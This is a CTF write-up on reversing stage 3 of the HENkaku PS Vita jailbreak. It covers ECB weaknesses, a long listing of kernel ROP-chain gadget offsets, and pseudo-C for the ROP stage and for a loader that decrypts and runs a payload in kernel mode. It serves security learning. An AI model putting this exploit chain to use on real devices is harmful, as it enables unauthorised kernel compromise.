Kept you waiting huh?
So finally we got the final straight of HENkaku CTF. If you don’t remember it, this is the CTF made months ago by the Molecule Team for everyone that is interested in learning more about PS Vita security. Before anything, make sure that you already read both my point of view from stage2 and the xyz write up about the Vita kernel exploit that made all of this possible. Let’s get started!
Stage 3: Cryptanalysis
After finish the stage 2, I started to analyze the stage 3 payloads. As I explained before these payloads are encrypted with AES-ECB and I discovered it because you can leak some information about the plaintext by observing the ciphertext. It’s one of some weakness of ECB mode (and that is one of many reasons that ECB mode is really not recommended). Exploring this weakness in both payload 1 (loader.enc) and payload 2 (payload.enc) I noticed it in payload 1:
In ECB mode if you encrypt with the same key two plaintext with few changes, the ciphertext will only change where plaintext was changed. As the payloads 2 really changed a lot by HENkakus versions (you can notice it doing hex diff between them), I guessed that the last bytes from the payload 1 is the key used to encrypted/decrypted the payload 2! So it has different key per-version. I tried to explore this weakness and try to find a way to get the plaintext, but I didn’t have success. Even with crazy ideas like modifying the key in the end of payload 1 and trying to craft a branch instruction that will run my code in payload2 and others craziness, I considered giving up. As far as I know, only with a known plaintext we could do something. Anyway it gave me some important informations about what I’m dealing and was useful to the next approach.
Stage 3: ROP-chain brute-force
This was the second approach that I tried. To this I needed the max possible of information about the HENkaku stage 3, with the cryptanalysis I determined that we are dealing with payload 1 with a key fixed and a payload 2 that has a key-per-version. Another goods source of information was the xyz writeup about the stage 2 exploit that explained that the leaked addresses used is from SceSysMem and after the stage2 analysis release, Team Mocule updated the HENkaku repository, what was a nice place to look for information! After sometime looking into the loader.rop.in file and krop.rop I found this:
store(&return, mybuf + 3 * 4); // sp
add([sysmem_base], 0x347); // pop {pc} to kick off the ropchain
store(&return, mybuf + 4 * 4);
That’s nice! We have a rop-gadget to start, another good source of information was the end of krop.rop that has some information about the payload 1 (loader.enc) and payload 2(payload.enc).
So gathering all the information I had that:
- ROP will decrypt loader.enc
- if ROP will decrypt loader.enc, there is a gadget to aes calls (like init and decrypt),
- it needs to allocate memory and *somehow* run the loader.enc after decryption,
- it needs to copy the memory from stack to the allocated buffer
- loader.enc has a key per version in the end that decrypt the payload.enc,
- All gadgets are in the SceSysMem
- SceSysMem_base+0x347 is the pop{pc} gadget
- payloader.enc will patch kernel and install vitashell
Another useful hint is that the rop need to make function call. So we will have a lot of pop {reg, pc} gadgets and blx gadgets, I tried to use this to determine some gadgets (what worked with few). With it in mind I started to brute-force the ROP-chain (what is really boring).To do so, we only need to change the krop.rop. We need to determine what is used and what is not. to it, you only need to change the &return after an add, if this is not used, probably HENkaku will boot normal and probably we have a value used in a pop {reg, pc} gadget, otherwise the system will crash and reboot. So you do it again and again […].
add([sysmem_base], 0x31); // addr
store(&return, krop + 0x0); // POP {R0, PC}
store(0x8106803, krop + 0x4); // any different value
add([sysmem_base], 0x1eff1); // addr
store(&return, krop + 0x8); // function ptr ?
store(0x38, krop + 0xc); // 0x38 not used ?
add([sysmem_base], 0x1efe1); // addr
store(&return, krop + 0x10); // no idea, but used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x14); // POP {PC}
add([sysmem_base], 0x39eb); // addr
store(&return, krop + 0x18); // no idea, but used
add([sysmem_base], 0x1b571); // addr
store(&return, krop + 0x1c); // no idea, but used
store(0x0, krop + 0x20); // not used, probably REG POP
add([sysmem_base], 0x1e43); // addr
store(&return, krop + 0x24); // no idea, but used
store(0x0, krop + 0x28); // no idea, but used
add([sysmem_base], 0x1fc6d); // addr
store(&return, krop + 0x2c); // not used, REG POP
add([sysmem_base], 0xea73); // addr
store(&return, krop + 0x30); // not used, REG POP
add([sysmem_base], 0x31); // addr
store(&return, krop + 0x34); // POP {R0, PC}, not used ?
add([sysmem_base], 0x27913); // addr
store(&return, krop + 0x38); // not used, REG POP
add([sysmem_base], 0xa523); // addr
store(&return, krop + 0x3c); // no idea, but used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x40); // POP {PC}
add([sysmem_base], 0xce3); // addr
store(&return, krop + 0x44); // not idea, but used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x48); // POP {PC}
add([sysmem_base], 0x1f2b1); // addr
store(&return, krop + 0x4c); // not used, REG POP
add([sysmem_base], 0x67); // addr
store(&return, krop + 0x50); // not used, REG POP
add([sysmem_base], 0x587f); // addr
store(&return, krop + 0x54); // no idea, but used
add([sysmem_base], 0x19713); // addr
store(&return, krop + 0x58); // no idea, but used
add([sysmem_base], 0x1605); // addr
store(&return, krop + 0x5c); // not used, REG POP
add([sysmem_base], 0x1e1d); // addr
store(&return, krop + 0x60); // no idea, but used
store(0x0, krop + 0x64); // not used, REG POP
add([sysmem_base], 0x1efe1); // addr
store(&return, krop + 0x68); // not used, REG POP
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x6c); // POP {PC}
add([sysmem_base], 0x1603); // addr
store(&return, krop + 0x70); // no idea, but used
add([sysmem_base], 0x1f2b1); // addr
store(&return, krop + 0x74); // not used, REG POP
add([sysmem_base], 0x1f17); // addr
store(&return, krop + 0x78); // no idea, but used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x7c); // POP {PC}
add([sysmem_base], 0x31); // addr
store(&return, krop + 0x80); // POP {R0, PC}
add([sysmem_base], 0xb913); // addr
store(&return, krop + 0x84); // no idea, R0
add([sysmem_base], 0x23b61); // addr
store(&return, krop + 0x88); // no idea, but used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x8c); // POP {PC}
add([sysmem_base], 0x39eb); // addr
store(&return, krop + 0x90); // no idea, but used
add([sysmem_base], 0x232eb); // addr
store(&return, krop + 0x94); // no idea, but used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x98); // POP {PC}
add([sysmem_base], 0x1b571); // addr
store(&return, krop + 0x9c); // no idea, but used
add([sysmem_base], 0x23b61); // addr
store(&return, krop + 0xa0); // not used, REG POP
add([sysmem_base], 0x232f1); // addr
store(&return, krop + 0xa4); // no idea, but used
add([sysmem_base], 0x1411); // addr
store(&return, krop + 0xa8); // not used, REG POP
add([sysmem_base], 0xae1); // addr
store(&return, krop + 0xac); // no idea, but used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0xb0); // POP {PC}
add([sysmem_base], 0x50e9); // addr
store(&return, krop + 0xb4); // no idea, but used
add([sysmem_base], 0x1411); // addr
store(&return, krop + 0xb8); // no idea, but used
store(0x10, krop + 0xbc); // overwrite with 0x90, useless
add([sysmem_base], 0x1f2b1); // addr
store(&return, krop + 0xc0); // no idea, but used
add([sysmem_base], 0x12b11); // addr
store(&return, krop + 0xc4); // no idea, but used
add([sysmem_base], 0xce3); // addr
store(&return, krop + 0xc8); // not used, POP REG
add([sysmem_base], 0xd1); // addr
store(&return, krop + 0xcc); // not used, POP REG
add([sysmem_base], 0x347); // addr
store(&return, krop + 0xd0); // POP {PC}
add([sysmem_base], 0x1f2b1); // addr
store(&return, krop + 0xd4);
add([sysmem_base], 0x347);
store(&return, krop + 0xd8);
add([sysmem_base], 0x39eb);
store(&return, krop + 0xdc);
add([sysmem_base], 0x1fdc5);
store(&return, krop + 0xe0);
add([sysmem_base], 0x1d8db);
store(&return, krop + 0xe4);
add([sysmem_base], 0x19399);
store(&return, krop + 0xe8);
add([sysmem_base], 0x19399);
store(&return, krop + 0xec);
add([sysmem_base], 0x11c5f); // addr
store(&return, krop + 0xf0); // no idea but used
add([sysmem_base], 0x19399);
store(&return, krop + 0xf4);
add([sysmem_base], 0x347);
store(&return, krop + 0xf8);
add([sysmem_base], 0xb913);
store(&return, krop + 0xfc);
store(0x0, krop + 0x100);
add([sysmem_base], 0x1efe1);
store(&return, krop + 0x104);
add([sysmem_base], 0x347);
store(&return, krop + 0x108);
add([sysmem_base], 0x1861);
store(&return, krop + 0x10c);
add([sysmem_base], 0x1fc6d);
store(&return, krop + 0x110);
add([sysmem_base], 0x1f2b1);
store(&return, krop + 0x114);
add([sysmem_base], 0x347);
store(&return, krop + 0x118);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x11c);
add([sysmem_base], 0x19399);
store(&return, krop + 0x120);
add([sysmem_base], 0x347);
store(&return, krop + 0x124);
add([sysmem_base], 0x19399);
store(&return, krop + 0x128);
add([sysmem_base], 0x347);
store(&return, krop + 0x12c);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x130);
add([sysmem_base], 0x1614d);
store(&return, krop + 0x134);
add([sysmem_base], 0x233d3);
store(&return, krop + 0x138);
add([sysmem_base], 0x1f2b1);
store(&return, krop + 0x13c);
add([sysmem_base], 0x347);
store(&return, krop + 0x140);
add([sysmem_base], 0xaf);
store(&return, krop + 0x144);
add([sysmem_base], 0x1605);
store(&return, krop + 0x148);
add([sysmem_base], 0x1efe1);
store(&return, krop + 0x14c);
add([sysmem_base], 0x347);
store(&return, krop + 0x150);
add([sysmem_base], 0x50e9);
store(&return, krop + 0x154);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x158);
add([sysmem_base], 0x1347);
store(&return, krop + 0x15c);
add([sysmem_base], 0x347);
store(&return, krop + 0x160);
add([sysmem_base], 0xb9);
store(&return, krop + 0x164);
add([sysmem_base], 0x1f2b1);
store(&return, krop + 0x168);
add([sysmem_base], 0x1347);
store(&return, krop + 0x16c);
add([sysmem_base], 0x347);
store(&return, krop + 0x170);
add([sysmem_base], 0x39b);
store(&return, krop + 0x174);
store(0x0, krop + 0x178);
add([sysmem_base], 0x1cb95);
store(&return, krop + 0x17c);
add([sysmem_base], 0x1ea93);
store(&return, krop + 0x180);
add([sysmem_base], 0x1411);
store(&return, krop + 0x184);
add([sysmem_base], 0x347);
store(&return, krop + 0x188);
add([sysmem_base], 0x209d7);
store(&return, krop + 0x18c);
add([sysmem_base], 0x209d3);
store(&return, krop + 0x190);
add([sysmem_base], 0x1411);
store(&return, krop + 0x194);
add([sysmem_base], 0x347);
store(&return, krop + 0x198);
add([sysmem_base], 0x1baf5);
store(&return, krop + 0x19c);
add([sysmem_base], 0x1605);
store(&return, krop + 0x1a0);
add([sysmem_base], 0x347);
store(&return, krop + 0x1a4);
add([sysmem_base], 0x652b);
store(&return, krop + 0x1a8);
add([sysmem_base], 0x347);
store(&return, krop + 0x1ac);
add([sysmem_base], 0x1baf5);
store(&return, krop + 0x1b0);
add([sysmem_base], 0x22a49);
store(&return, krop + 0x1b4);
store(0xfffffeb0, krop + 0x1b8);
add([sysmem_base], 0x39b);
store(&return, krop + 0x1bc);
store(0x40, krop + 0x1c0);
add([sysmem_base], 0x22a49);
store(&return, krop + 0x1c4);
add([sysmem_base], 0x347);
store(&return, krop + 0x1c8);
add([sysmem_base], 0x652b);
store(&return, krop + 0x1cc);
add([sysmem_base], 0x347);
store(&return, krop + 0x1d0);
add([sysmem_base], 0x39b);
store(&return, krop + 0x1d4);
store(0x40, krop + 0x1d8);
add([sysmem_base], 0x1605);
store(&return, krop + 0x1dc);
add([sysmem_base], 0x347);
store(&return, krop + 0x1e0);
add([sysmem_base], 0x1d9eb);
store(&return, krop + 0x1e4);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x1e8);
add([sysmem_base], 0x853);
store(&return, krop + 0x1ec);
add([sysmem_base], 0x1d8db);
store(&return, krop + 0x1f0);
store(0x38, krop + 0x1f4);
add([sysmem_base], 0xab);
store(&return, krop + 0x1f8);
add([sysmem_base], 0xd1);
store(&return, krop + 0x1fc);
add([sysmem_base], 0x2328b);
store(&return, krop + 0x200);
add([sysmem_base], 0x22fcd);
store(&return, krop + 0x204);
add([sysmem_base], 0xd1);
store(&return, krop + 0x208);
add([sysmem_base], 0x1eff1);
store(&return, krop + 0x20c);
add([sysmem_base], 0x2a117);
store(&return, krop + 0x210);
add([sysmem_base], 0x347);
store(&return, krop + 0x214);
add([sysmem_base], 0x1605);
store(&return, krop + 0x218);
add([sysmem_base], 0x19399);
store(&return, krop + 0x21c);
add([sysmem_base], 0x347);
store(&return, krop + 0x220);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x224);
add([sysmem_base], 0x1bf1f);
store(&return, krop + 0x228);
store(0xfffffeb0, krop + 0x22c);
add([sysmem_base], 0x39b);
store(&return, krop + 0x230);
store(0x40, krop + 0x234);
add([sysmem_base], 0x22a49);
store(&return, krop + 0x238);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x23c);
add([sysmem_base], 0x3d73);
store(&return, krop + 0x240);
store(0x0, krop + 0x244);
add([sysmem_base], 0x21fd);
store(&return, krop + 0x248);
add([sysmem_base], 0x347);
store(&return, krop + 0x24c);
add([sysmem_base], 0x50e9);
store(&return, krop + 0x250);
add([sysmem_base], 0xae1);
store(&return, krop + 0x254);
add([sysmem_base], 0x347);
store(&return, krop + 0x258);
add([sysmem_base], 0x2a117);
store(&return, krop + 0x25c);
add([sysmem_base], 0x347);
store(&return, krop + 0x260);
add([sysmem_base], 0x1f2b1);
store(&return, krop + 0x264);
add([sysmem_base], 0x67);
store(&return, krop + 0x268);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x26c);
add([sysmem_base], 0x1bf47);
store(&return, krop + 0x270);
add([sysmem_base], 0x347);
store(&return, krop + 0x274);
add([sysmem_base], 0x50e9);
store(&return, krop + 0x278);
add([sysmem_base], 0xaf33); // addr
store(&return, krop + 0x27c); // used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x280); // pop {PC}
add([sysmem_base], 0x1d9eb); // addr
store(&return, krop + 0x284); // not used
store(0x0, krop + 0x288); // payload 2 addr
add([sysmem_base], 0x1fc6d);
store(&return, krop + 0x28c);
add([sysmem_base], 0xea73);
store(&return, krop + 0x290);
add([sysmem_base], 0x39b); // addr
store(&return, krop + 0x294); // not used
add([sysmem_base], 0x853); // addr
store(&return, krop + 0x298); // used, probably POP{REG1, REG2, PC}
store(0xffffffff, krop + 0x29c); // not used
store(0x8106803, krop + 0x2a0); // used
add([sysmem_base], 0x233d3);
store(&return, krop + 0x2a4);
add([sysmem_base], 0x347);
store(&return, krop + 0x2a8);
add([sysmem_base], 0x433);
store(&return, krop + 0x2ac);
add([sysmem_base], 0x233d3);
store(&return, krop + 0x2b0);
add([sysmem_base], 0x150a3);
store(&return, krop + 0x2b4);
store(0x0, krop + 0x2b8);
add([sysmem_base], 0xa74d);
store(&return, krop + 0x2bc);
add([sysmem_base], 0x0);
store(&return, krop + 0x2c0);
add([sysmem_base], 0x853); // addr
store(&return, krop + 0x2c4); // used
add([sysmem_base], 0x1bf1f); // addr
store(&return, krop + 0x2c8); // used
store(0x0, krop + 0x2cc); // used
add([sysmem_base], 0x1605); // addr
store(&return, krop + 0x2d0); // used
add([sysmem_base], 0x347); // addr
store(&return, krop + 0x2d4); // POP {PC}
add([sysmem_base], 0x50e9); // addr
store(&return, krop + 0x2d8); // used
add([sysmem_base], 0x1605); // addr
store(&return, krop + 0x2dc); // used
add([sysmem_base], 0x22fcd); // addr
store(&return, krop + 0x2e0); // not used
add([sysmem_base], 0x39eb); // addr
store(&return, krop + 0x2e4); // used
add([sysmem_base], 0x853); // addr
store(&return, krop + 0x2e8); // not used
add([sysmem_base], 0x11c5f); // addr
store(&return, krop + 0x2ec); // function pointer ?
// loader.enc (payload1 used to loader the big payloader)
store([kx_loader_addr], krop + 0x178); // used
// no idea
store(0x90, krop + 0xbc); // not used ?
// no idea
store(0x240, krop + 0x234); // used
// no idea
store(0x200, krop + 0x2cc); // used
// payload 2
store(second_payload, krop + 0x288); // used
After nearly two weeks and countless frustrations in the process I gave up on this approach. But I was forgetting something very useful that HENkaku let us do.
Stage 3: Kernel exploit and loader.enc analysis
Since HENkaku was released it give us a way to run homebrews and it really was very useful to fuzzy the system. I was reading this while I was doing the rop brute-force and decided to give a try and I found a vuln that when exploited gave me a way to dump the kernel, I won’t explain details about it, but when Sony fix, I promise I will make another writeup explaining it.
Once you have the SceSysmem module dumped, it’s not very difficulty to reverse the ROP-chain, here is my pseudo code from the ROP-chain:
void rop_stage3() {
// alloc a memory block
unsigned int memid = sceKernelAllocMemblock("SceMagic", 0x1020D006, 0xA0000, NULL);
void *membase = NULL;
// get mem ptr
sceKernelGetMemblockBase(memid, &membase);
// initialize the AES
// ctx ?
// memblock size
// key size ?
// key
// that is the key to decrypt loader.enc
init_aes(ctx, 0x80, size, key);
// here start the undocumented feature, aka rop-loop-chain
// it will decrypt each block of loader
// and store into the membase
// the rop will self modify on the fly and is a bit complex
// so probably my pseudo-C has mistakes ( :
while (...) {
aes_decrypt(ctx, loader_addr, membase);
loader_addr += 0x10;
membase += 0x10;
}
// get memory base uid ?
unsigned int uid = getuid(membase, 0x0);
// remap memory to R-X ? or RWX ?
remap_mem(uid, 0x1020D005);
// flush data and instruction cache
flush_cache(membase, 0x200);
// function ptr to membase that will run our payload
(*membase)(base_addr, payload2_addr);
}
There is something very interesting in this ROP, it has a loop that is used to decrypt each block of the loader.enc, what is amazing in my opinion. Anyway the ROP is very direct, it basically allocate memory, init the AES and finally get inside the loop that will decrypt each block, the ROP will self-modify while it’s doing the decrypt. When the loop end, the system will remap the memory to R-X, flush cache memory and finally jump to the loader.enc code with base_addr and the address of payloadr.enc in the user-land space. If you’re curious to know about the ROP-chain, you can find it here. After it the system will run the loader.enc, here is the loader.enc pseudo code:
/*
* load payload 2
* decrypt with AES-128-ECB
* run in kernel mode
*/
void loader(unsigned int base_addr, unsigned int payload2_addr) {
/* alloc mem block */
unsigned int (*sceKernelAllocMemBlock)(char *, int, int, void*) = (base_addr+0xA521);
/* get memblock base */
unsigned int (*sceKernelGetMemBlockBase)(unsigned int, void**) = (base_addr+0x1F00);
/* aes decrypt 128 ecb */
unsigned int (*aes_decrypt)(void *, void*, void*) = (base_addr+0x1BAF5);
/* aes init */
unsigned int (*aes_init)(void*, unsigned int, unsigned int, void*) = (base_addr+0x1D8D9);
/* memcpy_u2k */
unsigned int (*memcpy_u2k)(unsigned int*, unsigned int*, int) = (base_addr+0x825D);
/* memcpy */
unsigned int (*epic_memcpy)(unsigned int*, unsigned int*, int) = (base_addr+0x23095);
/* alloc RW- memblock */
unsigned int memid_1 = sceKernelAllocMemBlock("", 0x1020D006, 0xB000, NULL);
/* alloc R-X memblock */
unsigned int memid_2 = sceKernelAllocMemBlock("", 0x1020D005, 0xB000, NULL);
/* ptr */
void *membase_1 = NULL;
void *membase_2 = NULL;
/* get base addr to both memory allocated */
sceKernelGetMemBlockBase(memid_1, &membase_1);
sceKernelGetMemBlockBase(memid_2, &membase_2);
/* copy payload from the user address space to kernel */
memcpy_u2k(membase_1, payload2_addr, 0xA000);
/* setup aes using the aes key in .data segment */
init_aes(membase_1 + 0xA000, 0x80, 0x80, aes_key);
/* decrypt payload */
for (unsigned int i = 0; i < 0xA000; i += 16) {
aes_decrypt(membase_1+0xA000, membase_1+i, membase_1+i);
}
/* disable DACR, do a memcpy, flush cache and enable DACR again */
epic_memcpy(membase_2, membase_1, 0xB000);
/* function pointer to payload */
(*membase_2)(base_addr);
}
There are some interesting details here, now it will allocate memory with R-X permission and RW- permission, use a memcpy (using special instructions to read from current pid userland virtual memory space) that will copy the payload.enc to the allocated memory in kernel space, initialize the aes but now using AES-128-ECB, run a loop until decrypt all memory and finally use another memcpy that will copy from RW- to R-X, it will disable some domain from DACR, copy the memory, flush cache and enable again the domains from DACR and finally jump to the payload.enc. Inside the payload.enc we have the code used to install the shell and patch the kernel.
So is this the end?
No, it’s far from the end, there is still a long way to hack the vita system. We are now in the Vita Kernel and we need to explore and study the max possible here, but there are the Trust Zone and Security Core, this saga is far from finished and I hope be back here soon to talk more about Vita.
Anyway, I really enjoyed with the CTF, I want to thank again the Molecule Team (Davee, Proxima, xyz, and YifanLu) for making this amazing challenge, I think not only me but other members from the community learned and enjoyed with it. That’s all folks!